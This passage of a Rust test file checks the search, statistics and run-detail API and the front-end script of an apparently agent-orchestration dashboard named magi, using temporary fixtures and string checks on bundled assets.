13126 .all(|h| h["run"]["status"] == "merged")
13127 );
13128
13129 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13130 let parts = snippet_of(&long, &["needle".to_owned()]);
13131 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13132 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13133 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13134 }
13135
13136 #[tokio::test]
13137 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13138 let f = Fixture::start().await;
13139 let queue = f.queue();
13140 let mut t = Task::new(
13141 "short title".to_owned(),
13142 "line one\nthe hidden Armadillo detail".to_owned(),
13143 PathBuf::from("/repo/magi"),
13144 Source::Agent {
13145 run: "r1".to_owned(),
13146 node: "chat".to_owned(),
13147 },
13148 );
13149 t.last_error = Some("disk full on /tmp".to_owned());
13150 queue.put(&mut t).expect("file the task");
13151
13152 for (q, want) in [
13153 ("armadillo", 1),
13154 ("disk%20FULL", 1),
13155 ("chat", 1),
13156 ("queued", 1),
13157 ("short%20nothing", 0),
13158 ] {
13159 let v = f
13160 .get(&format!("/api/search?scope=tasks&q={q}"))
13161 .await
13162 .json();
13163 assert_eq!(v["total"], want, "{q}: {v}");
13164 }
13165 for bad in [
13166 "/api/search?scope=tasks&q=",
13167 "/api/search?scope=tasks&q=%20",
13168 "/api/search?scope=chats&q=",
13169 "/api/search?scope=chats&q=%20",
13170 "/api/search?scope=nope&q=a",
13171 "/api/search?q=a",
13172 ] {
13173 assert_eq!(f.get(bad).await.status, 400, "{bad}");
13174 }
13175 }
13176
13177 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13179 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13180 .expect("seat value");
13181 let turns: Vec<serde_json::Value> = turns
13182 .iter()
13183 .map(|(who, body)| {
13184 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13185 })
13186 .collect();
13187 let doc = serde_json::json!({
13188 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13189 "status": status, "turns": turns,
13190 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13191 "seat": seat,
13192 });
13193 let dir = f.home.path().join("talks");
13194 std::fs::create_dir_all(&dir).expect("talks dir");
13195 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13196 }
13197
13198 #[tokio::test]
13199 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13200 let f = Fixture::start().await;
13201 write_talk(
13202 &f,
13203 "20260901-000001-aaaa",
13204 "open",
13205 &[
13206 (
13207 "operator",
13208 "\n Why does the Pangolin cache expire?\nsecond line",
13209 ),
13210 ("agent", "Because the TTL is thirty seconds."),
13211 ],
13212 );
13213 write_talk(
13214 &f,
13215 "20260901-000002-bbbb",
13216 "closed",
13217 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13218 );
13219 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13220
13221 let search = |q: &'static str| {
13222 let f = &f;
13223 async move {
13224 f.get(&format!("/api/search?scope=chats&q={q}"))
13225 .await
13226 .json()
13227 }
13228 };
13229
13230 let v = search("PANGOLIN").await;
13231 assert_eq!(v["scope"], "chats");
13232 assert_eq!(v["total"], 1, "{v}");
13233 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13234 assert_eq!(v["hits"][0]["field"], "title");
13235 assert_eq!(v["unreadable"], 1, "{v}");
13236 let marked: Vec<&str> = v["hits"][0]["snippet"]
13237 .as_array()
13238 .unwrap()
13239 .iter()
13240 .filter(|p| p["hit"] == true)
13241 .map(|p| p["text"].as_str().unwrap())
13242 .collect();
13243 assert_eq!(marked, ["Pangolin"]);
13244
13245 let v = search("zebra").await;
13247 assert_eq!(v["total"], 1, "{v}");
13248 assert_eq!(v["hits"][0]["field"], "agent");
13249 assert_eq!(search("pangolin%20thirty").await["total"], 1);
13251 assert_eq!(search("pangolin%20zebra").await["total"], 0);
13252 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13254 assert_eq!(search(q).await["total"], 0, "{q}");
13255 }
13256 assert_eq!(search("second").await["hits"][0]["field"], "operator");
13258 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13260
13261 let v = f.get("/api/search?scope=nope&q=a").await;
13262 assert_eq!(v.status, 400);
13263 assert!(
13264 v.body.contains("scope must be runs, tasks or chats"),
13265 "{}",
13266 v.body
13267 );
13268 }
13269
13270 #[test]
13271 fn a_question_card_links_a_task_id_to_the_task_page() {
13272 let start = APP_JS
13273 .find("function updateAskCard(")
13274 .expect("updateAskCard exists");
13275 let body = &APP_JS[start..];
13276 let body = &body[..body.find("\n}\n").expect("function end")];
13277 assert!(body.contains("question.run_is_task"));
13278 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13279 assert!(body.contains("`#/runs/${question.run}`"));
13280 assert!(body.contains("\"task\" : \"run\""));
13281 }
13282
13283 #[test]
13284 fn plain_text_message_surfaces_go_through_linkify() {
13285 assert!(APP_JS.contains("function linkify("));
13286 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13287 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13288 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13289 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13290 assert!(!APP_JS.contains("innerHTML = text"));
13291 }
13292
13293 #[test]
13294 fn implementation_rate_views_keep_independent_samples() {
13295 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13296 let a = stats::AgentStats {
13297 competitive_entered: competitive_n,
13298 competitive_wins: usize::from(competitive_n > 0),
13299 solo_entered: solo_n,
13300 solo_adopted: 2 * usize::from(solo_n > 0),
13301 ..Default::default()
13302 };
13303 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13304 for (key, n, numerator) in [
13305 ("competitive_win_rate", competitive_n, a.competitive_wins),
13306 ("solo_adoption_rate", solo_n, a.solo_adopted),
13307 ] {
13308 if n == 0 {
13309 assert!(v[key].is_null());
13310 } else {
13311 assert_eq!(v[key]["denominator"], n);
13312 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13313 }
13314 }
13315 }
13316 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13317 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13318 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13319 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13320 }
13321
13322 #[test]
13323 fn stats_bars_share_one_id_keyed_plan() {
13324 let start = APP_JS
13325 .find("function statsBarRows(")
13326 .expect("statsBarRows exists");
13327 let body = &APP_JS[start..];
13328 let body = &body[..body.find("\n}\n").expect("function end")];
13329 assert!(body.contains("statsBarPlan(rows)"));
13330 assert!(body.contains("statsAgentTone(row.agent)"));
13331 assert!(!body.contains("candTone(i)"));
13332 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13333 for root in [
13334 "stats-agents-bars",
13335 "stats-solo-bars",
13336 "stats-reviewers-bars",
13337 ] {
13338 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13339 }
13340 }
13341
13342 #[test]
13343 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13344 let start = APP_JS
13345 .find("function renderStatsReviewerScatter(")
13346 .expect("renderStatsReviewerScatter exists");
13347 let body = &APP_JS[start..];
13348 let body = &body[..body.find("\n}\n").expect("function end")];
13349 assert!(body.contains("statsScatterPlan(reviewers)"));
13350 assert!(body.contains("statsAgentTone(d.agent)"));
13351 assert!(APP_JS.contains("function statsScatterPlan("));
13352 assert!(
13353 APP_JS.contains("d.submitted < STATS_LOW_N")
13354 || APP_JS.contains("r.submitted < STATS_LOW_N")
13355 );
13356 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13357 assert!(APP_CSS.contains(".precision-scatter"));
13358 }
13359
13360 #[test]
13361 fn advisor_reflection_is_drawn_as_stacked_segments() {
13362 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13363 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13364 let html = include_str!("../assets/ui/index.html");
13365 assert!(html.contains("Approximate"));
13366 for label in ["reflected strongly", "faint", "no proposal"] {
13367 assert!(html.contains(label));
13368 }
13369 let css = include_str!("../assets/ui/app.css");
13370 for c in ["refl-strong", "refl-faint", "refl-absent"] {
13371 assert!(css.contains(&format!(".{c} {{")));
13372 }
13373 }
13374
13375 #[test]
13376 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13377 assert!(APP_JS.contains("function statsDailyPlan("));
13378 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13379 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13380 }
13381
13382 #[test]
13383 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13384 let start = APP_JS
13385 .find("function scheduleSearch(")
13386 .expect("scheduleSearch exists");
13387 let body = &APP_JS[start..];
13388 let body = &body[..body.find("\n}\n").expect("function end")];
13389 assert!(body.contains("s.seq += 1"));
13390 }
13391
13392 #[tokio::test]
13397 async fn stats_runs_unreadable_matches_health() {
13398 let f = Fixture::start().await;
13399 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13400 let broken = f.runs().join("20260902-140502-bad");
13401 std::fs::create_dir_all(&broken).expect("run dir");
13402 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13403
13404 let stats = f.get("/api/stats").await;
13405 let health = f.get("/api/health").await;
13406
13407 assert_eq!(stats.status, 200);
13408 assert_eq!(stats.json()["totals"]["runs"], 1);
13409 assert_eq!(stats.json()["runs_unreadable"], 1);
13410 assert_eq!(
13411 stats.json()["runs_unreadable"],
13412 health.json()["runs_unreadable"],
13413 "the dashboard and /api/health must never disagree about how many \
13414 runs could not be read"
13415 );
13416 }
13417
13418 #[tokio::test]
13419 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13420 let f = Fixture::start().await;
13421 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13422 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13423 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13424
13425 let totals = &f.get("/api/stats").await.json()["totals"];
13426 assert_eq!(totals["runs"], 3);
13427 assert_eq!(totals["merged"], 1);
13428 assert_eq!(totals["stalled"], 1);
13429 assert_eq!(totals["in_progress"], 1);
13430 assert_eq!(totals["blocked"], 0);
13433 assert_eq!(totals["ready"], 0);
13434 }
13435
13436 #[tokio::test]
13437 async fn stats_advisors_report_proposals_and_reflection() {
13438 use crate::advise::{Advice, AdvisorRecord, Reflection};
13439 use crate::verdict::Proposal;
13440
13441 let f = Fixture::start().await;
13442 let mut state = RunState::new(
13443 PathBuf::from("/repo/magi"),
13444 "main".to_owned(),
13445 "0123456789abcdef".to_owned(),
13446 "task".to_owned(),
13447 Config::default(),
13448 );
13449 state.id = "20260902-140501-a".to_owned();
13450 state.status = RunStatus::Merged;
13451 state.advice = Some(Advice {
13452 records: vec![
13453 AdvisorRecord {
13454 seat: "advisor-1".to_owned(),
13455 agent: "alpha".to_owned(),
13456 proposal: Some(Proposal {
13457 approach: "do it".to_owned(),
13458 key_tradeoff: "speed over memory".to_owned(),
13459 risks: Vec::new(),
13460 touches: Vec::new(),
13461 why_not_naive: "breaks under load".to_owned(),
13462 }),
13463 error: None,
13464 duration_ms: 0,
13465 reflection: Reflection::Strong,
13466 },
13467 AdvisorRecord {
13468 seat: "advisor-2".to_owned(),
13469 agent: "alpha".to_owned(),
13470 proposal: None,
13471 error: Some("timed out".to_owned()),
13472 duration_ms: 0,
13473 reflection: Reflection::Absent,
13474 },
13475 ],
13476 synthesis: Some("blended brief".to_owned()),
13477 });
13478 let dir = f.runs().join(&state.id);
13479 std::fs::create_dir_all(&dir).expect("run dir");
13480 std::fs::write(
13481 dir.join("run.json"),
13482 serde_json::to_string_pretty(&state).expect("serialize run"),
13483 )
13484 .expect("write run.json");
13485
13486 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13488 let alpha = advisors
13489 .as_array()
13490 .expect("an array")
13491 .iter()
13492 .find(|a| a["agent"] == "alpha")
13493 .expect("alpha row");
13494 assert_eq!(alpha["seated"], 2);
13495 assert_eq!(alpha["proposed"], 1);
13496 assert_eq!(alpha["absent"], 1);
13497 assert_eq!(alpha["strong"], 1);
13498 assert_eq!(alpha["faint"], 0);
13499 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13500 }
13501
13502 #[tokio::test]
13503 async fn stats_hides_agents_outside_the_roster_unless_all() {
13504 use crate::run::Candidate;
13505 let repo = TempDir::new().expect("repo dir");
13506 std::fs::write(
13507 repo.path().join("magi.toml"),
13508 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13509 )
13510 .expect("magi.toml");
13511 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13512 let mut state = RunState::new(
13513 PathBuf::from("/repo/magi"),
13514 "main".to_owned(),
13515 "0123456789abcdef".to_owned(),
13516 "task".to_owned(),
13517 Config::default(),
13518 );
13519 state.id = "20260902-140501-a".to_owned();
13520 state.status = RunStatus::Merged;
13521 for (label, agent) in [('A', "keep"), ('B', "retired")] {
13522 let mut c: Candidate = serde_json::from_value(serde_json::json!({
13523 "index": 0, "label": label.to_string(), "agent": agent,
13524 "branch": "b", "worktree": "/w",
13525 }))
13526 .expect("candidate");
13527 c.label = label;
13528 state.candidates.push(c);
13529 }
13530 let dir = f.runs().join(&state.id);
13531 std::fs::create_dir_all(&dir).expect("run dir");
13532 std::fs::write(
13533 dir.join("run.json"),
13534 serde_json::to_string_pretty(&state).expect("serialize run"),
13535 )
13536 .expect("write run.json");
13537
13538 let agents_of = |v: &serde_json::Value| -> Vec<String> {
13539 v["agents"]
13540 .as_array()
13541 .expect("array")
13542 .iter()
13543 .map(|a| a["agent"].as_str().unwrap().to_owned())
13544 .collect()
13545 };
13546 let hidden = f.get("/api/stats").await.json();
13547 assert_eq!(agents_of(&hidden), ["keep"]);
13548 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13549 assert_eq!(hidden["totals"]["runs"], 1);
13550
13551 let all = f.get("/api/stats?all=true").await.json();
13552 assert_eq!(agents_of(&all).len(), 2);
13553 assert_eq!(all["retired_hidden"], serde_json::json!([]));
13554 let keep_agent = all["agents"]
13556 .as_array()
13557 .unwrap()
13558 .iter()
13559 .find(|a| a["agent"] == "keep")
13560 .unwrap();
13561 assert_eq!(keep_agent["competitive_entered"], 1);
13562 assert_eq!(keep_agent["competitive_wins"], 0);
13563 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13564 assert_eq!(keep_agent["solo_entered"], 0);
13565 assert_eq!(keep_agent["solo_adopted"], 0);
13566 assert!(keep_agent["solo_adoption_rate"].is_null());
13567 }
13568
13569 #[tokio::test]
13570 async fn stats_release_bumps_split_clean_from_attention() {
13571 use crate::run::ReleaseBump;
13572
13573 let f = Fixture::start().await;
13574
13575 let mut clean = RunState::new(
13576 PathBuf::from("/repo/magi"),
13577 "main".to_owned(),
13578 "0123456789abcdef".to_owned(),
13579 "task".to_owned(),
13580 Config::default(),
13581 );
13582 clean.id = "20260902-140501-a".to_owned();
13583 clean.status = RunStatus::Merged;
13584 clean.release_bump = Some(ReleaseBump {
13585 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13586 version: Some("1.0.0".to_owned()),
13587 automerge_enabled: true,
13588 merged_directly: false,
13589 local: false,
13590 release: None,
13591 problem: None,
13592 action_required: None,
13593 });
13594
13595 let mut blocked = RunState::new(
13596 PathBuf::from("/repo/magi"),
13597 "main".to_owned(),
13598 "0123456789abcdef".to_owned(),
13599 "task".to_owned(),
13600 Config::default(),
13601 );
13602 blocked.id = "20260902-140502-b".to_owned();
13603 blocked.status = RunStatus::Merged;
13604 blocked.release_bump = Some(ReleaseBump {
13605 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13606 version: Some("1.0.1".to_owned()),
13607 automerge_enabled: false,
13608 merged_directly: false,
13609 local: false,
13610 release: None,
13611 problem: Some("checks red".to_owned()),
13612 action_required: Some("look at the PR".to_owned()),
13613 });
13614
13615 for state in [&clean, &blocked] {
13616 let dir = f.runs().join(&state.id);
13617 std::fs::create_dir_all(&dir).expect("run dir");
13618 std::fs::write(
13619 dir.join("run.json"),
13620 serde_json::to_string_pretty(state).expect("serialize run"),
13621 )
13622 .expect("write run.json");
13623 }
13624
13625 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13626 assert_eq!(bumps["merged"], 2);
13627 assert_eq!(bumps["recorded"], 2);
13628 assert_eq!(bumps["pr_opened"], 2);
13629 assert_eq!(bumps["automerge_enabled"], 1);
13630 assert_eq!(bumps["needs_attention"], 1);
13631 assert_eq!(bumps["clean"], 1);
13632 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13633 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13634 }
13635
13636 #[tokio::test]
13637 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13638 let f = Fixture::start().await;
13639 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13640
13641 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13642 assert_eq!(bumps["merged"], 1);
13643 assert_eq!(bumps["recorded"], 0);
13644 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13647 assert_eq!(bumps["automerge_rate"], Value::Null);
13650 assert_eq!(bumps["attention_rate"], Value::Null);
13651 }
13652
13653 #[tokio::test]
13654 async fn stats_queue_counts_come_from_the_live_queue() {
13655 let f = Fixture::start().await;
13656 let q = f.queue();
13657 let mut queued = Task::new(
13658 "queued task".to_owned(),
13659 "do it".to_owned(),
13660 PathBuf::from("/repo"),
13661 Source::Human,
13662 );
13663 q.put(&mut queued).expect("put queued");
13664 let mut held = Task::new(
13665 "held task".to_owned(),
13666 "do it later".to_owned(),
13667 PathBuf::from("/repo"),
13668 Source::Human,
13669 );
13670 held.hold_machine(Some("out of attempts".to_owned()));
13671 q.put(&mut held).expect("put held");
13672
13673 let queue = f.get("/api/stats").await.json()["queue"].clone();
13674 assert_eq!(queue["queued"], 1);
13675 assert_eq!(queue["held"], 1);
13676 assert_eq!(queue["running"], 0);
13677 assert_eq!(queue["done"], 0);
13678 assert_eq!(queue["failed"], 0);
13679 assert_eq!(queue["blocked"], 0);
13680 }
13681
13682 #[tokio::test]
13683 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13684 let f = Fixture::start().await;
13685 let stats = f.get("/api/stats").await;
13686 assert_eq!(stats.status, 200);
13687 assert_eq!(stats.json()["totals"]["runs"], 0);
13688 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13689 assert_eq!(stats.json()["runs_unreadable"], 0);
13690 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13691 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13692 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13693 assert_eq!(stats.json()["repo"], Value::Null);
13694 }
13695
13696 #[tokio::test]
13697 async fn stats_lists_every_repository_with_runs_recorded() {
13698 let f = Fixture::start().await;
13699 write_run_repo(
13700 &f.runs(),
13701 "20260902-140501-a",
13702 RunStatus::Merged,
13703 "/repos/a",
13704 );
13705 write_run_repo(
13706 &f.runs(),
13707 "20260902-140502-b",
13708 RunStatus::Merged,
13709 "/repos/a",
13710 );
13711 write_run_repo(
13712 &f.runs(),
13713 "20260902-140503-c",
13714 RunStatus::Blocked,
13715 "/repos/b",
13716 );
13717
13718 let stats = f.get("/api/stats").await;
13719 assert_eq!(stats.status, 200);
13720 assert_eq!(stats.json()["totals"]["runs"], 3);
13722 assert_eq!(stats.json()["repo"], Value::Null);
13723
13724 let repos = stats.json()["repos"].clone();
13725 let repos = repos.as_array().unwrap();
13726 assert_eq!(repos.len(), 2);
13727 assert_eq!(repos[0]["repo"], "/repos/a");
13729 assert_eq!(repos[0]["name"], "a");
13730 assert_eq!(repos[0]["runs"], 2);
13731 assert_eq!(repos[1]["repo"], "/repos/b");
13732 assert_eq!(repos[1]["runs"], 1);
13733 }
13734
13735 #[tokio::test]
13736 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13737 let f = Fixture::start().await;
13738 write_run_repo(
13739 &f.runs(),
13740 "20260902-140501-a",
13741 RunStatus::Merged,
13742 "/repos/a",
13743 );
13744 write_run_repo(
13745 &f.runs(),
13746 "20260902-140502-b",
13747 RunStatus::Blocked,
13748 "/repos/b",
13749 );
13750
13751 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13752 assert_eq!(stats.status, 200);
13753 assert_eq!(stats.json()["totals"]["runs"], 1);
13754 assert_eq!(stats.json()["totals"]["merged"], 1);
13755 assert_eq!(stats.json()["repo"], "/repos/a");
13756 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13759 assert_eq!(stats.json()["runs_unreadable"], 0);
13762 }
13763
13764 #[tokio::test]
13765 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13766 let f = Fixture::start().await;
13767 write_run_repo(
13768 &f.runs(),
13769 "20260902-140501-a",
13770 RunStatus::Merged,
13771 "/repos/a",
13772 );
13773 write_run_repo(
13774 &f.runs(),
13775 "20260902-140502-b",
13776 RunStatus::Merged,
13777 "/repos/b",
13778 );
13779
13780 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13781 let json = f.get(uri).await.json();
13782 let daily = json["daily"].as_array().expect("daily is an array");
13783 assert_eq!(daily.len(), 30);
13784 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13785 let mut sorted = dates.clone();
13786 sorted.sort();
13787 assert_eq!(dates, sorted);
13788 for d in daily {
13789 assert_eq!(
13790 d["merged"].as_u64().unwrap()
13791 + d["ready"].as_u64().unwrap()
13792 + d["other"].as_u64().unwrap(),
13793 d["runs"].as_u64().unwrap()
13794 );
13795 }
13796 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13797 }
13798 }
13799
13800 #[tokio::test]
13801 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13802 let f = Fixture::start().await;
13803 write_run_repo(
13804 &f.runs(),
13805 "20260902-140501-a",
13806 RunStatus::Merged,
13807 "/repos/a",
13808 );
13809
13810 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13811 assert_eq!(stats.status, 404);
13812 }
13813
13814 #[tokio::test]
13815 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13816 let f = Fixture::start().await;
13817 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13818
13819 let summary = f.get("/api/runs").await.json();
13820 let row = &summary[0];
13821 assert_eq!(row["short"], "a1b2");
13822 assert_eq!(row["status"], "ready");
13823 assert_eq!(row["done"], true);
13824 assert_eq!(row["title"], "Add a web UI");
13825 assert_eq!(row["repo_name"], "magi");
13826 assert_eq!(row["judges"], 3);
13827 assert_eq!(row["winner"], Value::Null);
13828 assert_eq!(row["reviews"], 0);
13829
13830 let detail = f.get("/api/runs/a1b2").await;
13833 assert_eq!(detail.status, 200);
13834 assert_eq!(detail.json()["base_branch"], "main");
13835 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13836 }
13837
13838 #[tokio::test]
13846 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13847 let f = Fixture::start().await;
13848
13849 let mut none_run = RunState::new(
13850 PathBuf::from("/repo/magi"),
13851 "main".to_owned(),
13852 "0123456789abcdef".to_owned(),
13853 "Add a web UI".to_owned(),
13854 Config::default(),
13855 );
13856 none_run.id = "20260902-140503-none".to_owned();
13857 none_run.status = RunStatus::Ready;
13858 none_run.merge = Some(crate::run::MergeOutcome {
13859 mode: crate::config::MergeMode::None,
13860 ok: true,
13861 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13862 empty: false,
13863 });
13864 write_state(&f.runs(), &none_run);
13865
13866 let mut pr_run = RunState::new(
13867 PathBuf::from("/repo/magi"),
13868 "main".to_owned(),
13869 "0123456789abcdef".to_owned(),
13870 "Add a web UI".to_owned(),
13871 Config::default(),
13872 );
13873 pr_run.id = "20260902-140504-prcl".to_owned();
13874 pr_run.status = RunStatus::Ready;
13875 pr_run.merge = Some(crate::run::MergeOutcome {
13876 mode: crate::config::MergeMode::Pr,
13877 ok: false,
13878 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13879 empty: false,
13880 });
13881 write_state(&f.runs(), &pr_run);
13882
13883 let summary = f.get("/api/runs").await.json();
13884 let rows: std::collections::HashMap<&str, &Value> = summary
13885 .as_array()
13886 .expect("an array")
13887 .iter()
13888 .map(|r| (r["id"].as_str().expect("an id"), r))
13889 .collect();
13890 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13891 assert_eq!(
13892 rows[none_run.id.as_str()]["unmerged_by_design"],
13893 true,
13894 "a mode-none Ready must be flagged in the list"
13895 );
13896 assert_eq!(
13897 rows[pr_run.id.as_str()]["unmerged_by_design"],
13898 false,
13899 "a Ready reached by a closed pull request is a different case"
13900 );
13901
13902 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13903 assert_eq!(none_detail["status"], "ready");
13904 assert_eq!(none_detail["unmerged_by_design"], true);
13905
13906 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13907 assert_eq!(pr_detail["unmerged_by_design"], false);
13908 }
13909
13910 #[tokio::test]
13915 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13916 let f = Fixture::start().await;
13917 let id = "20260902-140502-bbbb";
13921 let mut state = RunState::new(
13922 PathBuf::from("/repo/magi"),
13923 "main".to_owned(),
13924 "0123456789abcdef".to_owned(),
13925 "Add a web UI".to_owned(),
13926 Config::default(),
13927 );
13928 state.id = id.to_owned();
13929 state.status = RunStatus::Judging;
13930 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13931 let dir = f.runs().join(id);
13932 std::fs::create_dir_all(&dir).expect("run dir");
13933 std::fs::write(
13934 dir.join("run.json"),
13935 serde_json::to_string_pretty(&state).expect("serialize run"),
13936 )
13937 .expect("write run.json");
13938
13939 let cold = f.get(&format!("/api/runs/{id}")).await.json();
13945 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13946 assert_eq!(cold["live"], "unknown", "{cold}");
13947
13948 write_daemon(f.home.path(), Timestamp::now());
13951 let warm = f.get(&format!("/api/runs/{id}")).await.json();
13952 assert_eq!(warm["live"], "live", "{warm}");
13953 }
13954
13955 #[tokio::test]
13958 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13959 let f = Fixture::start().await;
13960 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13961 let mut state = RunState::new(
13962 PathBuf::from("/repo/magi"),
13963 "main".to_owned(),
13964 "0123456789abcdef".to_owned(),
13965 "Add a web UI".to_owned(),
13966 Config::default(),
13967 );
13968 state.id = id.to_owned();
13969 state.origin = origin;
13970 let mut value = serde_json::to_value(&state).expect("serialize run");
13971 if let Some(schema) = schema {
13972 value["schema"] = serde_json::json!(schema);
13973 value.as_object_mut().unwrap().remove("origin");
13974 }
13975 let dir = f.runs().join(id);
13976 std::fs::create_dir_all(&dir).expect("run dir");
13977 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13978 };
13979 write(
13980 "20260930-092817-ec34",
13981 Some(crate::run::Origin::from_agent_env(
13982 Some(("4a7b".to_owned(), "chat".to_owned())),
13983 None,
13984 )),
13985 None,
13986 );
13987 write("20260930-092817-0ld1", None, Some(12));
13988
13989 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13990 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13991 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13992
13993 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13994 assert_eq!(
13995 old["origin_label"], "origin unknown (started before origins were recorded)",
13996 "{old}"
13997 );
13998 assert!(old["origin"].is_null(), "{old}");
13999
14000 let list = f.get("/api/runs").await.json();
14001 let labels: Vec<_> = list
14002 .as_array()
14003 .unwrap()
14004 .iter()
14005 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14006 .collect();
14007 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14008 }
14009
14010 #[tokio::test]
14017 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14018 let f = Fixture::start().await;
14019 let id = "20260922-090000-cccc";
14020 let mut state = RunState::new(
14021 PathBuf::from("/repo/magi"),
14022 "main".to_owned(),
14023 "0123456789abcdef".to_owned(),
14024 "Review only".to_owned(),
14025 Config::default(),
14026 );
14027 state.id = id.to_owned();
14028 state.status = RunStatus::Reviewing;
14029 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14030 state.driver_pid = Some(std::process::id());
14036 state.driver_started_at = Some(
14037 crate::proc::process_started_at(std::process::id())
14038 .expect("this test process's own start time must be queryable"),
14039 );
14040 let dir = f.runs().join(id);
14041 std::fs::create_dir_all(&dir).expect("run dir");
14042 std::fs::write(
14043 dir.join("run.json"),
14044 serde_json::to_string_pretty(&state).expect("serialize run"),
14045 )
14046 .expect("write run.json");
14047
14048 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14049 assert_eq!(detail["live"], "live", "{detail}");
14050 }
14051
14052 #[tokio::test]
